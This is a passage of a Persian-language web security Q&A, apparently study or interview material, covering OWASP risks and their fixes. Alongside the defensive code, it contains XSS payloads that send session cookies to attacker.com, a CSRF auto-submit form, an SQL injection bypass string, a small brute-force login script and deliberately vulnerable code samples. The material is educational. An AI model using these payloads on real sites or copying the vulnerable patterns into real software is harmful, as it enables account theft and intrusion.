1. امنیت برنامه وب (Web Application Security) چیست؟
پاسخ:
امنیت برنامه وب به فرآیند محافظت از برنامههای وب در برابر تهدیداتی اشاره دارد که میتوانند یکپارچگی دادهها، محرمانگی و در دسترس بودن آنها را به خطر بیندازند.
- شناسایی تهدیدات: تشخیص آسیبپذیریها و نقاط ضعف
- پیشگیری از حملات: اعمال تدابیر امنیتی مناسب
- پاسخ به حوادث: مدیریت و کنترل حملات سایبری
- حفظ عملکرد: اطمینان از عملکرد صحیح و امن برنامهها
2. چرا اعتبارسنجی ورودی (Input Validation) مهم است؟
پاسخ:
اعتبارسنجی ورودی یک جنبه حیاتی از امنیت برنامه وب است که شامل بررسی و پاکسازی ورودیهای کاربر برای اطمینان از ورود فقط دادههای مجاز و ایمن است.
- جلوگیری از SQL Injection: محافظت از پایگاه داده
- پیشگیری از XSS: جلوگیری از تزریق اسکریپت مخرب
- کنترل Command Injection: محافظت از سیستمعامل
- حفظ یکپارچگی داده: اطمینان از صحت اطلاعات
// مثال اعتبارسنجی ورودی در JavaScript function validateInput(username) { // بررسی طول if (username.length < 3 || username.length > 20) { return false; } // بررسی کاراکترهای مجاز const validPattern = /^[a-zA-Z0-9_]+$/; if (!validPattern.test(username)) { return false; } return true; }
3. تهدیدات رایج برنامه وب کدامند؟ (بر اساس OWASP Top 10)
پاسخ:
برنامههای وب با تهدیدات متعددی روبرو هستند. OWASP Top 10 لیستی از رایجترین و حیاتیترین آسیبپذیریها را ارائه میدهد:
- Broken Access Control: نقص در کنترل دسترسی
- Cryptographic Failures: شکستهای رمزنگاری
- Injection: تزریق کدهای مخرب (SQL، Command، etc.)
- Insecure Design: طراحی ناامن
- Security Misconfiguration: پیکربندی امنیتی نادرست
- Vulnerable Components: کامپوننتهای آسیبپذیر
- Authentication Failures: شکستهای احراز هویت
- Software Integrity Failures: شکستهای یکپارچگی نرمافزار
- Logging Failures: شکستهای لاگگیری و نظارت
- Server-Side Request Forgery: جعل درخواست سمت سرور
4. OWASP چیست و OWASP Top 10 چه اهمیتی دارد؟
پاسخ:
OWASP مخفف Open Web Application Security Project (پروژه امنیت برنامه وب باز) است که یک سازمان غیرانتفاعی برای بهبود امنیت نرمافزار محسوب میشود.
- آگاهیبخشی: افزایش آگاهی از امنیت برنامههای وب
- ابزارسازی: توسعه ابزارهای امنیتی رایگان
- آموزش: ارائه منابع آموزشی و راهنماها
- استانداردسازی: تعریف بهترین روشهای امنیتی
- راهنمای عملی: ارائه لیست اولویتبندی شده تهدیدات
- استاندارد صنعتی: پذیرش گسترده در سطح جهانی
- بهروزرسانی منظم: انطباق با تهدیدات جدید
- پایه آموزشی: مبنای آموزش امنیت وب
5. تفاوت بین Authentication و Authorization چیست؟
پاسخ:
این دو مفهوم اساسی امنیت هستند که اغلب با هم اشتباه گرفته میشوند:
- تعریف: فرآیند تأیید هویت یک کاربر یا سیستم
- سوال: "شما کی هستید؟"
- روشها: نام کاربری/رمز عبور، توکن، گواهینامه، MFA
- نتیجه: تأیید یا رد هویت
- تعریف: تعیین سطح دسترسی کاربر احراز هویت شده
- سوال: "شما چه کارهایی میتوانید انجام دهید؟"
- روشها: نقشها (Roles)، مجوزها (Permissions)، ACL
- نتیجه: اجازه یا منع دسترسی به منابع
// مثال عملی // Authentication if (username === "admin" && password === "secret123") { user.authenticated = true; user.role = "administrator"; } // Authorization if (user.authenticated && user.role === "administrator") { // اجازه دسترسی به پنل مدیریت allowAccessToAdminPanel(); }
6. SQL Injection چیست و چگونه میتوان از آن جلوگیری کرد؟
پاسخ:
SQL Injection یک آسیبپذیری امنیتی است که به مهاجم اجازه میدهد کدهای SQL مخرب را در ورودیهای برنامه تزریق کند.
// کد آسیبپذیر String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; // ورودی مخرب username = "admin'; --" password = "anything" // کوئری نهایی SELECT * FROM users WHERE username = 'admin'; --' AND password = 'anything'
- Prepared Statements: استفاده از پارامترهای آماده
- Stored Procedures: روالهای ذخیره شده با پارامتر
- Input Validation: اعتبارسنجی دقیق ورودیها
- Least Privilege: حداقل امتیازات پایگاه داده
// کد امن با Prepared Statement String query = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement stmt = connection.prepareStatement(query); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs = stmt.executeQuery();
7. Cross-Site Scripting (XSS) چیست و چگونه میتوان از آن جلوگیری کرد؟
پاسخ:
Cross-Site Scripting (XSS) حملهای است که مهاجم اسکریپتهای مخرب را به صفحات وب تزریق میکند که توسط مرورگر کاربر اجرا میشوند.
- Stored XSS: اسکریپت در پایگاه داده ذخیره میشود
- Reflected XSS: اسکریپت در پاسخ سرور منعکس میشود
- DOM-based XSS: اسکریپت در DOM مرورگر اجرا میشود
// ورودی مخرب <script>alert('XSS Attack!');</script> // یا سرقت کوکی <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
- Output Encoding: رمزگذاری خروجیها
- Input Validation: اعتبارسنجی ورودیها
- Content Security Policy (CSP): سیاست امنیت محتوا
- HttpOnly Cookies: محافظت از کوکیها
// مثال Output Encoding در JavaScript function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } // استفاده const userInput = "<script>alert('XSS')</script>"; const safeOutput = escapeHtml(userInput); // نتیجه: <script>alert('XSS')</script>
8. Cross-Site Request Forgery (CSRF) چیست و چگونه میتوان از آن جلوگیری کرد؟
پاسخ:
Cross-Site Request Forgery (CSRF) حملهای است که کاربر احراز هویت شده را مجبور میکند اقدامات ناخواسته را در یک برنامه وب انجام دهد.
// صفحه مخرب <img src="http://bank.com/transfer?amount=1000&to=attacker" /> // یا فرم مخفی <form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000" /> <input type="hidden" name="to" value="attacker" /> </form> <script>document.forms[0].submit();</script>
- CSRF Tokens: توکنهای ضد CSRF
- SameSite Cookies: محدودیت ارسال کوکی
- Referer Validation: بررسی مبدأ درخواست
- Double Submit Cookie: روش کوکی دوگانه
// مثال CSRF Token // تولید توکن در سرور const csrfToken = generateRandomToken(); session.csrfToken = csrfToken; // در فرم HTML <form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="${csrfToken}" /> <input type="text" name="amount" /> <input type="text" name="to" /> <button type="submit">Transfer</button> </form> // اعتبارسنجی در سرور if (request.body.csrf_token !== session.csrfToken) { throw new Error('CSRF token mismatch'); }
9. مفهوم Insecure Deserialization چیست؟
پاسخ:
Insecure Deserialization آسیبپذیریای است که زمانی رخ میدهد که دادههای غیرقابل اعتماد به صورت ناامن از فرمت سریالی شده به اشیاء در حافظه تبدیل میشوند.
- Remote Code Execution: اجرای کد از راه دور
- Denial of Service: حملات DoS
- Data Tampering: دستکاری دادهها
- Privilege Escalation: افزایش سطح دسترسی
// کد آسیبپذیر در Java // دریافت داده سریالی شده از کاربر ObjectInputStream ois = new ObjectInputStream(userInput); Object obj = ois.readObject(); // خطرناک! // کد آسیبپذیر در Python import pickle data = pickle.loads(user_input) # خطرناک!
- عدم Deserialization دادههای غیرقابل اعتماد
- استفاده از فرمتهای امن: JSON، XML با validation
- Digital Signatures: امضای دیجیتال دادهها
- Type Constraints: محدودیت نوع داده
// روش امن با JSON // به جای serialization خطرناک const data = JSON.parse(userInput); // امنتر // اما همچنان نیاز به validation دارد // Validation const schema = { type: 'object', properties: { name: { type: 'string', maxLength: 100 }, age: { type: 'number', minimum: 0, maximum: 150 } }, required: ['name', 'age'] }; if (!validateSchema(data, schema)) { throw new Error('Invalid data format'); }
10. Security Misconfiguration (پیکربندی امنیتی نادرست) چیست؟
پاسخ:
Security Misconfiguration به پیکربندیهای نادرست امنیتی در سرورها، فریمورکها، پایگاههای داده، و برنامهها اشاره دارد.
- تنظیمات پیشفرض: استفاده از رمزهای پیشفرض
- Directory Listing: فعال بودن فهرستبندی دایرکتوری
- Error Messages: نمایش پیامهای خطای مفصل
- Unnecessary Services: سرویسهای غیرضروری فعال
// تنظیمات ناامن وبسرور # Apache - Directory Listing فعال Options +Indexes # Nginx - نمایش نسخه سرور server_tokens on; // تنظیمات ناامن پایگاه داده # MySQL - رمز عبور خالی mysql -u root -p # Password: [Enter] // کد ناامن - نمایش خطای مفصل try { // database operation } catch (Exception e) { response.send("Database error: " + e.getMessage()); // خطرناک! }
- Security Hardening: سختسازی سیستمها
- Regular Updates: بهروزرسانی منظم
- Minimal Installation: نصب حداقلی
- Security Scanning: اسکن امنیتی منظم
// تنظیمات امن # Apache - غیرفعال کردن Directory Listing Options -Indexes # Nginx - مخفی کردن نسخه سرور server_tokens off; // کد امن - مدیریت خطا try { // database operation } catch (Exception e) { logger.error("Database error", e); response.send("An error occurred. Please try again."); // امن }
11. Sensitive Data Exposure (افشای دادههای حساس) چیست؟
پاسخ:
Sensitive Data Exposure زمانی رخ میدهد که دادههای حساس مانند اطلاعات کارت اعتباری، اطلاعات شخصی، و رمزهای عبور به دلیل عدم محافظت کافی در معرض دید قرار میگیرند.
- اطلاعات مالی: شماره کارت، حساب بانکی
- اطلاعات شخصی: کد ملی، شماره تلفن، آدرس
- اطلاعات احراز هویت: رمز عبور، توکنها
- اطلاعات پزشکی: سوابق درمانی، تستهای پزشکی
- رمزنگاری در انتقال: استفاده از HTTPS/TLS
- رمزنگاری در ذخیرهسازی: رمزنگاری پایگاه داده
- هش کردن رمزها: استفاده از bcrypt، scrypt
- حداقل داده: جمعآوری فقط دادههای ضروری
// مثال رمزنگاری رمز عبور const bcrypt = require('bcrypt'); // هش کردن رمز عبور async function hashPassword(password) { const saltRounds = 12; return await bcrypt.hash(password, saltRounds); } // بررسی رمز عبور async function verifyPassword(password, hashedPassword) { return await bcrypt.compare(password, hashedPassword); } // استفاده const hashedPassword = await hashPassword('userPassword123'); // ذخیره hashedPassword در پایگاه داده، نه رمز اصلی
12. Broken Access Control (کنترل دسترسی شکسته) چیست؟
پاسخ:
Broken Access Control به نقصهایی در مکانیزمهای کنترل دسترسی اشاره دارد که به کاربران اجازه دسترسی به منابع غیرمجاز را میدهد.
- Vertical Privilege Escalation: دسترسی به نقشهای بالاتر
- Horizontal Privilege Escalation: دسترسی به دادههای کاربران دیگر
- Missing Function Level Access Control: عدم کنترل در سطح تابع
- Insecure Direct Object References: ارجاع مستقیم ناامن
// URL آسیبپذیر https://bank.com/account?id=12345 // مهاجم تغییر ID میدهد https://bank.com/account?id=12346 // کد آسیبپذیر app.get('/account', (req, res) => { const accountId = req.query.id; const account = getAccount(accountId); // بدون بررسی مالکیت! res.json(account); });
- Server-side Validation: اعتبارسنجی در سمت سرور
- Principle of Least Privilege: حداقل امتیاز
- Role-Based Access Control (RBAC): کنترل دسترسی مبتنی بر نقش
- Session Management: مدیریت صحیح نشست
// کد امن app.get('/account', authenticateUser, (req, res) => { const accountId = req.query.id; const userId = req.user.id; // بررسی مالکیت if (!isAccountOwner(userId, accountId)) { return res.status(403).json({ error: 'Access denied' }); } const account = getAccount(accountId); res.json(account); });
13. Using Components with Known Vulnerabilities چیست؟
پاسخ:
این آسیبپذیری زمانی رخ میدهد که از کتابخانهها، فریمورکها یا سایر ماژولهای نرمافزاری با آسیبپذیریهای شناخته شده استفاده میشود.
- نسخههای قدیمی: استفاده از کتابخانههای منسوخ
- عدم بهروزرسانی: نادیده گرفتن پچهای امنیتی
- وابستگیهای ناشناخته: عدم آگاهی از زیرمجموعهها
- کامپوننتهای غیرضروری: نگهداری کتابخانههای استفاده نشده
// package.json آسیبپذیر { "dependencies": { "lodash": "4.17.4", // نسخه قدیمی با CVE "express": "4.16.0", // نسخه قدیمی "jquery": "3.3.1" // آسیبپذیری XSS } } // بررسی آسیبپذیری npm audit // نتیجه found 15 vulnerabilities (2 low, 9 moderate, 4 high)
- Dependency Scanning: اسکن منظم وابستگیها
- Regular Updates: بهروزرسانی منظم
- Vulnerability Monitoring: نظارت بر آسیبپذیریها
- Minimal Dependencies: استفاده از حداقل وابستگی
// ابزارهای بررسی امنیت # npm audit npm audit npm audit fix # OWASP Dependency Check dependency-check --project myapp --scan ./ # Snyk snyk test snyk monitor # GitHub Security Alerts # فعالسازی خودکار در repository
14. Insufficient Logging & Monitoring چیست؟
پاسخ:
Insufficient Logging & Monitoring به عدم وجود لاگگیری و نظارت کافی برای شناسایی، تحلیل و پاسخ به حملات امنیتی اشاره دارد.
- عدم لاگگیری: ثبت نکردن رویدادهای مهم
- لاگهای ناکافی: اطلاعات ناکامل در لاگها
- عدم نظارت: بررسی نکردن لاگها
- پاسخ کند: تأخیر در تشخیص حملات
- تلاشهای ورود: موفق و ناموفق
- تغییرات مجوزها: اصلاح نقشها و دسترسیها
- دسترسی به دادههای حساس: مشاهده اطلاعات مهم
- خطاهای امنیتی: تلاشهای نفوذ
// مثال لاگگیری مناسب const winston = require('winston'); const logger = winston.createLogger({ level: 'info', format: winston.format.combine( winston.format.timestamp(), winston.format.json() ), transports: [ new winston.transports.File({ filename: 'security.log' }), new winston.transports.Console() ] }); // لاگگیری رویدادهای امنیتی app.post('/login', (req, res) => { const { username, password } = req.body; if (authenticateUser(username, password)) { logger.info('Successful login', { username, ip: req.ip, userAgent: req.get('User-Agent'), timestamp: new Date().toISOString() }); res.json({ success: true }); } else { logger.warn('Failed login attempt', { username, ip: req.ip, userAgent: req.get('User-Agent'), timestamp: new Date().toISOString() }); res.status(401).json({ error: 'Invalid credentials' }); } });
- Centralized Logging: متمرکز کردن لاگها
- Real-time Monitoring: نظارت بلادرنگ
- Automated Alerts: هشدارهای خودکار
- Log Protection: محافظت از لاگها
15. مفهوم Session Hijacking چیست؟
پاسخ:
Session Hijacking حملهای است که مهاجم کنترل نشست یک کاربر معتبر را به دست میآورد و بدون نیاز به احراز هویت، به عنوان آن کاربر عمل میکند.
- Session ID Theft: سرقت شناسه نشست
- Man-in-the-Middle: رهگیری ترافیک
- Cross-Site Scripting: سرقت کوکی با XSS
- Session Fixation: تحمیل شناسه نشست
// حمله XSS برای سرقت کوکی <script> // سرقت کوکی نشست var sessionCookie = document.cookie; // ارسال به سرور مهاجم fetch('http://attacker.com/steal.php?cookie=' + sessionCookie); </script> // استفاده از کوکی سرقت شده // مهاجم میتواند کوکی را در مرورگر خود قرار دهد document.cookie = "PHPSESSID=stolen_session_id";
- HTTPS/TLS: رمزنگاری ترافیک
- HttpOnly Cookies: جلوگیری از دسترسی JavaScript
- Secure Cookies: ارسال فقط از طریق HTTPS
- Session Regeneration: تجدید شناسه پس از ورود
// تنظیمات امن کوکی app.use(session({ secret: 'your-secret-key', name: 'sessionId', cookie: { secure: true, // فقط HTTPS httpOnly: true, // غیرقابل دسترس از JavaScript maxAge: 1800000, // 30 دقیقه sameSite: 'strict' // محدودیت cross-site }, resave: false, saveUninitialized: false })); // تجدید نشست پس از ورود app.post('/login', (req, res) => { if (authenticateUser(req.body.username, req.body.password)) { // تجدید شناسه نشست req.session.regenerate((err) => { if (err) throw err; req.session.userId = user.id; req.session.save(); res.json({ success: true }); }); } });
16. مفهوم Insecure Direct Object References (IDOR) چیست؟
پاسخ:
Insecure Direct Object References (IDOR) آسیبپذیری کنترل دسترسی است که زمانی رخ میدهد که برنامه از شناسه قابل پیشبینی برای دسترسی مستقیم به اشیاء استفاده میکند.
- URL Parameters: تغییر ID در URL
- Form Fields: دستکاری فیلدهای مخفی
- API Endpoints: تغییر شناسه در درخواستهای API
- File Access: دسترسی مستقیم به فایلها
// URL آسیبپذیر https://example.com/profile?userId=123 // مهاجم تغییر userId میدهد https://example.com/profile?userId=124 https://example.com/profile?userId=125 // کد آسیبپذیر app.get('/profile', (req, res) => { const userId = req.query.userId; const profile = getUserProfile(userId); // بدون بررسی مجوز! res.json(profile); }); // دسترسی مستقیم به فایل https://example.com/documents/invoice_123.pdf https://example.com/documents/invoice_124.pdf
- Access Control Checks: بررسی مجوز در سمت سرور
- Indirect References: استفاده از شناسههای غیرمستقیم
- UUIDs: شناسههای غیرقابل پیشبینی
- User Context Validation: اعتبارسنجی بافت کاربر
// کد امن app.get('/profile', authenticateUser, (req, res) => { const requestedUserId = req.query.userId; const currentUserId = req.user.id; // بررسی مجوز دسترسی if (requestedUserId !== currentUserId && !req.user.isAdmin) { return res.status(403).json({ error: 'Access denied' }); } const profile = getUserProfile(requestedUserId); res.json(profile); }); // استفاده از UUID به جای ID متوالی const uuid = require('uuid'); // ایجاد شناسه غیرقابل پیشبینی const documentId = uuid.v4(); // e.g., 550e8400-e29b-41d4-a716-446655440000 // نگاشت غیرمستقیم const documentMap = new Map(); documentMap.set('doc_abc123', 'actual_document_id_456'); app.get('/document/:token', (req, res) => { const token = req.params.token; const actualId = documentMap.get(token); if (!actualId || !userCanAccessDocument(req.user.id, actualId)) { return res.status(404).json({ error: 'Document not found' }); } // ارائه سند });
17. تفاوت بین HTTP و HTTPS چیست؟
پاسخ:
تفاوت اساسی بین HTTP و HTTPS در لایه امنیتی است که HTTPS ارائه میدهد.
- انتقال متن ساده: دادهها رمزنگاری نمیشوند
- پورت 80: پورت پیشفرض
- سرعت بالا: عدم overhead رمزنگاری
- ناامن: قابل رهگیری و دستکاری
- رمزنگاری SSL/TLS: محافظت از دادهها
- پورت 443: پورت پیشفرض امن
- احراز هویت سرور: تأیید هویت وبسایت
- یکپارچگی داده: جلوگیری از دستکاری
// HTTP - ناامن http://example.com/login // دادههای ورود به صورت متن ساده ارسال میشوند POST /login HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin&password=secret123 // HTTPS - امن https://example.com/login // دادهها رمزنگاری شده ارسال میشوند POST /login HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded [Encrypted Data]
- محرمانگی: رمزنگاری دادهها
- یکپارچگی: جلوگیری از دستکاری
- احراز هویت: تأیید هویت سرور
- اعتماد کاربران: نشان قفل سبز
- SEO بهتر: اولویت در موتورهای جستجو
// پیادهسازی HTTPS در Node.js const https = require('https'); const fs = require('fs'); const express = require('express'); const app = express(); // خواندن گواهی SSL const options = { key: fs.readFileSync('private-key.pem'), cert: fs.readFileSync('certificate.pem') }; // ایجاد سرور HTTPS https.createServer(options, app).listen(443, () => { console.log('HTTPS Server running on port 443'); }); // هدایت HTTP به HTTPS app.use((req, res, next) => { if (req.header('x-forwarded-proto') !== 'https') { res.redirect(`https://${req.header('host')}${req.url}`); } else { next(); } });
18. حملات Brute-Force چیست؟
پاسخ:
حملات Brute-Force روشی برای شکستن رمزهای عبور، کلیدهای رمزنگاری یا یافتن صفحات پنهان با امتحان کردن تمام ترکیبات ممکن است.
- Dictionary Attack: استفاده از لیست کلمات رایج
- Pure Brute-Force: امتحان تمام ترکیبات ممکن
- Hybrid Attack: ترکیب dictionary و brute-force
- Credential Stuffing: استفاده از اطلاعات نشت شده
// اسکریپت حمله Brute-Force ساده const passwords = ['123456', 'password', 'admin', 'qwerty', '12345']; async function bruteForceAttack(username, targetUrl) { for (const password of passwords) { try { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }); if (response.ok) { console.log(`Success! Password found: ${password}`); return password; } } catch (error) { console.log(`Failed attempt: ${password}`); } } return null; }
- Rate Limiting: محدودیت تعداد تلاش
- Account Lockout: قفل کردن حساب
- CAPTCHA: تأیید انسان بودن
- Strong Passwords: رمزهای عبور قوی
- Multi-Factor Authentication: احراز هویت چندعاملی
// پیادهسازی Rate Limiting const rateLimit = require('express-rate-limit'); // محدودیت تلاش ورود const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 دقیقه max: 5, // حداکثر 5 تلاش message: 'Too many login attempts, please try again later', standardHeaders: true, legacyHeaders: false, }); app.post('/login', loginLimiter, (req, res) => { // منطق احراز هویت }); // قفل کردن حساب const failedAttempts = new Map(); app.post('/login', (req, res) => { const { username, password } = req.body; const attempts = failedAttempts.get(username) || 0; if (attempts >= 5) { return res.status(423).json({ error: 'Account locked due to too many failed attempts' }); } if (!authenticateUser(username, password)) { failedAttempts.set(username, attempts + 1); return res.status(401).json({ error: 'Invalid credentials' }); } // ورود موفق - پاک کردن تلاشهای ناموفق failedAttempts.delete(username); res.json({ success: true }); });
19. مفهوم Content Security Policy (CSP) چیست؟
پاسخ:
Content Security Policy (CSP) یک استاندارد امنیتی است که به جلوگیری از حملات XSS و سایر حملات تزریق کد کمک میکند.
- جلوگیری از XSS: محدود کردن اجرای اسکریپت
- کنترل منابع: تعیین منابع مجاز
- جلوگیری از Data Exfiltration: محدود کردن ارسال داده
- محافظت از Clickjacking: کنترل frame embedding
- default-src: منبع پیشفرض برای همه منابع
- script-src: منابع مجاز برای اسکریپت
- style-src: منابع مجاز برای CSS
- img-src: منابع مجاز برای تصاویر
- connect-src: منابع مجاز برای AJAX/WebSocket
// مثال CSP Header Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; // پیادهسازی در Express.js app.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'self'; " + "script-src 'self' 'unsafe-inline'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:;" ); next(); }); // CSP با nonce برای اسکریپتهای inline const crypto = require('crypto'); app.use((req, res, next) => { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce; res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'` ); next(); });
<!-- اسکریپت مجاز با nonce --> <script nonce="<%= nonce %>"> console.log('This script is allowed'); </script> <!-- اسکریپت غیرمجاز - مسدود میشود --> <script> alert('This will be blocked by CSP'); </script> <!-- تصویر از منبع مجاز --> <img src="/images/logo.png" alt="Logo"> <!-- تصویر از منبع غیرمجاز - مسدود میشود --> <img src="http://malicious-site.com/image.jpg">
20. مفهوم Same-Origin Policy چیست؟
پاسخ:
Same-Origin Policy یک مفهوم امنیتی مهم در مرورگرهای وب است که محدود میکند یک صفحه وب چگونه میتواند با منابع از origin دیگر تعامل کند.
Origin شامل سه جزء است:
- Protocol (Scheme): http یا https
- Domain (Host): نام دامنه
- Port: شماره پورت
// Origin اصلی https://example.com:443/page1 // Same Origin ✓ https://example.com:443/page2 https://example.com:443/folder/page3 // Different Origin ✗ http://example.com:443/page2 // پروتکل متفاوت https://subdomain.example.com/page2 // دامنه متفاوت https://example.com:8080/page2 // پورت متفاوت https://other-site.com/page2 // دامنه کاملاً متفاوت
- AJAX Requests: درخواستهای XMLHttpRequest
- DOM Access: دسترسی به DOM صفحات دیگر
- Cookie Access: دسترسی به کوکیهای سایتهای دیگر
- Local Storage: دسترسی به localStorage سایتهای دیگر
- CORS (Cross-Origin Resource Sharing): اجازه صریح سرور
- JSONP: استفاده از تگ script
- PostMessage API: ارتباط بین frame ها
- Proxy Server: استفاده از proxy
// مثال CORS // سمت سرور - اجازه دسترسی cross-origin app.use((req, res, next) => { res.header('Access-Control-Allow-Origin', 'https://trusted-site.com'); res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization'); next(); }); // سمت کلاینت - درخواست cross-origin fetch('https://api.example.com/data', { method: 'GET', headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('CORS error:', error)); // PostMessage برای ارتباط بین frame ها // در صفحه والد const iframe = document.getElementById('myIframe'); iframe.contentWindow.postMessage('Hello iframe', 'https://other-domain.com'); // در iframe window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted-parent.com') return; console.log('Received message:', event.data); });
21. مفهوم Multi-Factor Authentication (MFA) چیست؟
پاسخ:
Multi-Factor Authentication (MFA) روش احراز هویتی است که از دو یا چند عامل مختلف برای تأیید هویت کاربر استفاده میکند.
- Something you know: چیزی که میدانید (رمز عبور، PIN)
- Something you have: چیزی که دارید (تلفن، توکن)
- Something you are: چیزی که هستید (اثر انگشت، چهره)
- SMS/Voice: کد تأیید از طریق پیامک یا تماس
- TOTP (Time-based OTP): کد موقت مبتنی بر زمان
- Push Notifications: اعلان در اپلیکیشن موبایل
- Hardware Tokens: دستگاههای فیزیکی
- Biometric: اثر انگشت، تشخیص چهره
// پیادهسازی TOTP با Node.js const speakeasy = require('speakeasy'); const QRCode = require('qrcode'); // تولید secret برای کاربر function generateMFASecret(username) { const secret = speakeasy.generateSecret({ name: `MyApp (${username})`, issuer: 'MyApp' }); return { secret: secret.base32, qrCodeUrl: secret.otpauth_url }; } // تولید QR Code async function generateQRCode(otpauth_url) { return await QRCode.toDataURL(otpauth_url); } // تأیید کد TOTP function verifyTOTP(token, secret) { return speakeasy.totp.verify({ secret: secret, encoding: 'base32', token: token, window: 2 // اجازه 2 بازه زمانی (60 ثانیه) }); } // استفاده در فرآیند ورود app.post('/login', async (req, res) => { const { username, password, mfaToken } = req.body; // مرحله 1: بررسی رمز عبور if (!authenticateUser(username, password)) { return res.status(401).json({ error: 'Invalid credentials' }); } // مرحله 2: بررسی MFA const user = getUserByUsername(username); if (user.mfaEnabled) { if (!mfaToken || !verifyTOTP(mfaToken, user.mfaSecret)) { return res.status(401).json({ error: 'Invalid MFA token' }); } } // ورود موفق res.json({ success: true, token: generateJWT(user) }); });
22. مفهوم Password Hashing چیست؟
پاسخ:
Password Hashing فرآیند تبدیل رمز عبور به یک رشته ثابت و غیرقابل برگشت است که برای ذخیره امن رمزهای عبور استفاده میشود.
- One-way: غیرقابل برگشت
- Deterministic: همیشه همان خروجی برای همان ورودی
- Fixed Output: طول خروجی ثابت
- Avalanche Effect: تغییر کوچک ورودی، تغییر بزرگ خروجی
- bcrypt: محبوب و امن
- scrypt: مقاوم در برابر حملات سختافزاری
- Argon2: برنده مسابقه Password Hashing
- PBKDF2: استاندارد قدیمی اما قابل قبول
- MD5: شکسته شده
- SHA1: ناامن
- SHA256 ساده: بدون salt و cost
// مثال bcrypt const bcrypt = require('bcrypt'); // Hash کردن رمز عبور async function hashPassword(plainPassword) { const saltRounds = 12; // هزینه محاسباتی return await bcrypt.hash(plainPassword, saltRounds); } // بررسی رمز عبور async function verifyPassword(plainPassword, hashedPassword) { return await bcrypt.compare(plainPassword, hashedPassword); } // مثال Argon2 const argon2 = require('argon2'); async function hashPasswordArgon2(plainPassword) { return await argon2.hash(plainPassword, { type: argon2.argon2id, memoryCost: 2 ** 16, // 64 MB timeCost: 3, parallelism: 1, }); } async function verifyPasswordArgon2(plainPassword, hashedPassword) { return await argon2.verify(hashedPassword, plainPassword); } // مثال نادرست - هرگز استفاده نکنید! const crypto = require('crypto'); // ❌ نادرست - بدون salt function badHash(password) { return crypto.createHash('sha256').update(password).digest('hex'); } // ❌ نادرست - salt ثابت function badHashWithFixedSalt(password) { return crypto.createHash('sha256').update(password + 'fixedsalt').digest('hex'); }
23. مفهوم Salt در Password Hashing چیست؟
پاسخ:
Salt یک مقدار تصادفی است که قبل از hash کردن رمز عبور به آن اضافه میشود تا از حملات Rainbow Table و Dictionary جلوگیری کند.
- Rainbow Table Attacks: جداول از پیش محاسبه شده
- Dictionary Attacks: حملات فرهنگ لغت
- Identical Hashes: رمزهای یکسان، hash یکسان
- Pattern Recognition: تشخیص الگوهای رایج
// بدون Salt - ناامن password: "123456" hash: "e10adc3949ba59abbe56e057f20f883e" password: "password" hash: "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8" // مشکل: رمزهای یکسان، hash یکسان user1: "123456" → "e10adc3949ba59abbe56e057f20f883e" user2: "123456" → "e10adc3949ba59abbe56e057f20f883e" (همان hash!)
// با Salt - امن user1: "123456" + salt1 → hash1 user2: "123456" + salt2 → hash2 (hash متفاوت!) // پیادهسازی دستی Salt const crypto = require('crypto'); function generateSalt(length = 16) { return crypto.randomBytes(length).toString('hex'); } function hashPasswordWithSalt(password, salt) { return crypto.pbkdf2Sync(password, salt, 10000, 64, 'sha512').toString('hex'); } // استفاده const password = "userPassword123"; const salt = generateSalt(); const hash = hashPasswordWithSalt(password, salt); // ذخیره در پایگاه داده const userRecord = { username: "john_doe", salt: salt, passwordHash: hash }; // بررسی رمز عبور function verifyPassword(inputPassword, storedSalt, storedHash) { const inputHash = hashPasswordWithSalt(inputPassword, storedSalt); return inputHash === storedHash; }
- Unique per Password: هر رمز عبور salt منحصر به فرد
- Cryptographically Random: تولید تصادفی امن
- Sufficient Length: حداقل 16 بایت
- Store with Hash: ذخیره همراه با hash
// bcrypt خودکار Salt مدیریت میکند const bcrypt = require('bcrypt'); // bcrypt خودکار salt تولید و ذخیره میکند const hash = await bcrypt.hash('password123', 12); console.log(hash); // $2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewdBPj/RK.s5uIoS // Salt در ابتدای hash ذخیره شده است: // $2b$ = algorithm identifier // 12$ = cost factor // LQv3c1yqBWVHxkd0LHAkCO = salt (22 characters) // Yz6TtxMQJqhN8/LewdBPj/RK.s5uIoS = actual hash // بررسی const isValid = await bcrypt.compare('password123', hash); console.log(isValid); // true
24. مفهوم JWT (JSON Web Token) چیست؟
پاسخ:
JWT (JSON Web Token) یک استاندارد باز برای انتقال امن اطلاعات بین طرفها به صورت JSON است که معمولاً برای احراز هویت و مجوزدهی استفاده میشود.
JWT شامل سه بخش است که با نقطه (.) از هم جدا میشوند:
- Header: اطلاعات الگوریتم و نوع توکن
- Payload: دادهها (claims)
- Signature: امضای دیجیتال
